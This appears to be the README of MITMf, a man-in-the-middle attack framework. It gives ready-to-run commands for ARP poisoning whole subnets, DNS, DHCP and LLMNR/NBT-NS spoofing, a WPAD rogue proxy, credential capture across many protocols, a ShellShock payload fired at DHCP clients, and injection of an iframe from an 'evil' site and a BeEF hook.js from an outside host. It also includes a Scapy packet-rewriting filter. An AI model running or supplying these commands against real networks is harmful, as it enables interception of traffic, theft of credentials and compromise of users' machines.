MITMf aims to provide a one-stop-shop for Man-In-The-Middle and network attacks while updating and improving existing attacks and techniques.

Originally built to address the significant shortcomings of other tools (e.g Ettercap, Mallory), it's been almost completely re-written from scratch to provide a modular and easily extendible framework that anyone can use to implement their own MITM attack.

• The framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins, it also contains a modified version of the SSLStrip proxy that allows for HTTP modification and a partial HSTS bypass.

• As of version 0.9.8, MITMf supports active packet filtering and manipulation (basically what etterfilters did, only better), allowing users to modify any type of traffic or protocol.

• The configuration file can be edited on-the-fly while MITMf is running, the changes will be passed down through the framework: this allows you to tweak settings of plugins and servers while performing an attack.

• MITMf will capture FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos credentials by using Net-Creds, which is run on startup.

• Responder integration allows for LLMNR, NBT-NS and MDNS poisoning and WPAD rogue server support.

You can now modify any packet/protocol that gets intercepted by MITMf using Scapy! (no more etterfilters! yay!)

For example, here's a stupid little filter that just changes the destination IP address of ICMP packets:

if packet.haslayer(ICMP):
	log.info('Got an ICMP packet!')
	packet.dst = '192.168.1.0'

• Use the packet variable to access the packet in a Scapy compatible format
• Use the data variable to access the raw packet data

Now to use the filter all we need to do is: python mitmf.py -F ~/filter.py

You will probably want to combine that with the Spoof plugin to actually intercept packets from someone else ;)

Note: you can modify filters on-the-fly without restarting MITMf!

The most basic usage, starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface enp3s0:

python mitmf.py -i enp3s0

ARP poison the whole subnet with the gateway at 192.168.1.1 using the Spoof plugin:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1

Same as above + a WPAD rogue proxy server using the Responder plugin:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad

ARP poison 192.168.1.16-45 and 192.168.0.1/24 with the gateway at 192.168.1.1:

python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1

Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file):

python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1

Enable LLMNR/NBTNS/MDNS spoofing:

python mitmf.py -i enp3s0 --responder --wredir --nbtns

Enable DHCP spoofing (the ip pool and subnet are pulled from the config file):

python mitmf.py -i enp3s0 --spoof --dhcp

Same as above with a ShellShock payload that will be executed if any client is vulnerable:

python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'

Inject an HTML IFrame using the Inject plugin:

python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com

Inject a JS script:

python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js

Start a captive portal that redirects everything to http://SERVER/PATH:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH

Start captive portal at http://your-ip/portal.html using default page /portal.html (thx responder) and /CaptiveClient.exe (not included) from the config/captive folder:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive

Same as above but with hostname captive.portal instead of IP (requires captive.portal to resolve to your IP, e.g. via DNS spoof):

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns

Serve a captive portal with an additional SimpleHTTPServer instance serving the LOCALDIR at http://IP:8080 (change port in mitmf.config):

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR

Same as above but with hostname:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns

And much much more!

Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..)
